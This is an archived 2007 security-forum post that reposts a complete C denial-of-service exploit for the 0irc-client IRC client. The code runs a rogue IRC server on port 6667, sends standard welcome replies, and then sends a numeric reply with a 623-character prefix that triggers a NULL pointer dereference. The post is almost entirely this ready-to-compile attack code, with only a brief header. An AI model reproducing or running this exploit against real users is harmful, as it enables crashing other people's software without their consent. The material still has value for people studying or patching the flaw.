邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-3-23 14:35

0irc-client v1345 build20060823 Denial of Service Exploit

[code]/*
  0irc-client v1345 build 20060823 DoS Exploit By DiGitalX ([email]DiGi7alX@Gmail.com[/email])
  Date: 22/3/2007 -- MicroSystem Team -- Site: [url]http://DiGitalX.I.am[/url]
  Description: 0irc-client suffers from a NULL pointer derefrencing bug.
*/

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment(lib, "wsock32.lib")

// `perl -e "print &#39;a&#39; x 623";`
#define As "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

int main()
{
  struct sockaddr_in sa, nsa;
  SOCKET s, ns;
  WSADATA wsa;
  int err, val;
  char buffer[1000]; /* evil buffer holder */

  printf("0irc-client v1345 build 20060823 DoS Exploit By DiGitalX\n");
  printf("MicroSystem Team -- Date: 22/3/2007 -- [url]http://DiGitalX.I.am[/url]\n");
  printf("Contact: [email]DiGi7alX@Gmail.com[/email]\n\n");

  printf("Initializing...\n");

  /* first open the ircd */
  //fire up winsock
  if ((err = WSAStartup(MAKEWORD(1, 1), &wsa)) != 0) {
    //if winsock is sick :P
    printf("Error: Cannot initialize winsock (%d).\n", err);
    return 1;
  }
  //create a socket
  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == INVALID_SOCKET) {
    //if socket cannot be created inform user
    printf("Error: Cannot create socket (%d).\n", WSAGetLastError());
    return 1;
  }
  //starting building the sockaddr_in struct
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.S_un.S_addr = INADDR_ANY;
  sa.sin_port = htons(6667); /* default ircd port */
  //now bind the socket to the port
  if (bind(s, (const struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {
    //if bind error inform user
    printf("Error: Cannot bind socket to port 6667 (%d).\n", WSAGetLastError());
    return 1;
  }
  //do listen for incoming connections
  if (listen(s, SOMAXCONN) == SOCKET_ERROR) {
    //cannot listen tell user
    printf("Error: Cannot listen for incoming connections (%d).\n", WSAGetLastError());
    return 1;
  }
  //listen OK
  //set sockaddr_in structcure size
  val = sizeof(nsa);
  //now do accept clients
  printf("Now connect using 0irc client.\n");
  if ((ns = accept(s, (struct sockaddr *)&nsa, &val)) == INVALID_SOCKET) {
    //if accept fails
    printf("Error: Cannot accept incoming connection (%d).\n", WSAGetLastError());
    return 1;
  }
  //accept OK .. inform user of new connection
  printf("New Connection: %s\n", inet_ntoa(nsa.sin_addr));
  //now the real job begins :D
  snprintf(buffer, sizeof(buffer)-1, ":aaa 001 DiGitalX\r\n\0");
  if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
    //oops!! error
    if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
    else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
    return 1;
  }
  snprintf(buffer, sizeof(buffer)-1, ":aaa 002 DiGitalX\r\n\0");
  if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
    //oops!! error
    if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
    else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
    return 1;
  }
  snprintf(buffer, sizeof(buffer)-1, ":aaa 003 DiGitalX\r\n\0");
  if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
    //oops!! error
    if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
    else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
    return 1;
  }
  snprintf(buffer, sizeof(buffer)-1, ":aaa 004 DiGitalX\r\n\0");
  if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
    //oops!! error
    if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
    else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
    return 1;
  }
  snprintf(buffer, sizeof(buffer)-1, ":aaa 005 DiGitalX\r\n\0");
  if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
    //oops!! error
    if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
    else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
    return 1;
  }
  snprintf(buffer, sizeof(buffer)-1, ":"As" 727 DiGitalX\r\n\0");
  if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
    //oops!! error
    if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
    else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
    return 1;
  }
  //wait sometime
  Sleep(1200);
  //cleanup
  //close sockets
  closesocket(ns);
  closesocket(s);
  //close winsock
  WSACleanup();

  return 0; /* end of work :D */
}

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team